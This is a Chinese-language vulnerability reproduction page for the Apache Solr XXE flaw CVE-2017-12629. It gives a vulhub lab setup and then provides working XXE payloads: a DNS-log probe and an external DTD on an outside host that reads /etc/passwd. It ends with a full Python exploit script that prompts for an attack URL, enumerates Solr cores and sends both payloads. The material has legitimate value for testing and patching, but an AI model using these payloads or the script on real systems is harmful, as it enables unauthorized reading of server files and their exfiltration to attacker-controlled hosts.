Apache Solr XXE 漏洞 CVE-2017-12629

漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞：XML实体扩展漏洞（XXE）和远程命令执行漏洞（RCE）。

漏洞影响

Apache Solr < 7.1
Apache Lucene < 7.

环境搭建

https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2017-12629-XXE
docker-compose build
docker-compose up -d

漏洞复现

先请求url地址获取 core 内容

http://xxx.xxx.xxx.xxx:8983/solr/admin/cores

访问

http://xxx.xxx.xxx.xxx:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxxxx.ceye.io"><a></a>'}&wt=xml

查看dnslog得到请求

在自己的服务器上写入一个可访问的XML文件，内容写入

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

然后请求这个文件来读取服务器上的文件

http://xxx.xxx.xxx.xxx:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2fpeiqi.tech%2f1.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

# 解码
/solr/demo/select?&q=<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://peiqi.tech/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

注意这里的payload进行了url编码,请求的文件为 http://peiqi.tech/1.dtd，有更多需求自行更改写入的xml文件

漏洞POC

# solr_xxe.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

#!/usr/bin/python3
#-*- coding:utf-8 -*-

import requests
import sys
import json
import random

def POC_1(target_url):
    core_url = target_url + "solr/admin/cores?indexInfo=false&wt=json"
    try:
        response = requests.request("GET", url=core_url, timeout=10)
        core_name = list(json.loads(response.text)["status"])[0]
        print("\033[32m[o] 成功获得core_name,Url为：" + target_url + "/solr/" + core_name + "/config\033[0m")
        print('Core name: ', core_name)
        return core_name
    except:
        print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
        sys.exit(0)

def POC_2(target_url, core_name, dnslog_url):
    dns_payload = """solr/%s/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "%s"><a></a>'}&wt=xml""" % (core_name, dnslog_url)
    vuln_url = target_url + dns_payload
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
    }
    try:
        response = requests.request("GET", url=vuln_url, headers=headers, timeout=30)
        if "HTTP ERROR 500" in response.text:
            print("\033[31m[x] 漏洞利用失败 \033[0m")
        else:
            print("\033[32m[o] 请查看dnslog响应, DNSlog利用Url为：" + vuln_url + "/config\033[0m")
    except:
            print("\033[31m[x] 漏洞利用失败 \033[0m")

def POC_3(target_url, core_name):
    file_payload = """solr/{}/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2fyour.vps.here%2fsolr_xxe.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser""".format(core_name)
    vuln_url = target_url + file_payload
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
    }

    response = requests.request("GET", url=vuln_url, headers=headers, timeout=30)
    if "nologin" in response.text:
        print("\033[32m[o] 漏洞成功利用, Url为：/config\033[0m \n", vuln_url )
        print("\033[32m[o] 响应为: \n \033[0m",response.text)
    else:
        print("\033[31m[x] 漏洞利用失败 \033[0m")

if __name__ == '__main__':
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    core_name = POC_1(target_url)   
    dnslog_url = 'http://{}.your.dnslog.here'.format(core_name)
    POC_2(target_url, core_name, dnslog_url)
    POC_3(target_url, core_name)

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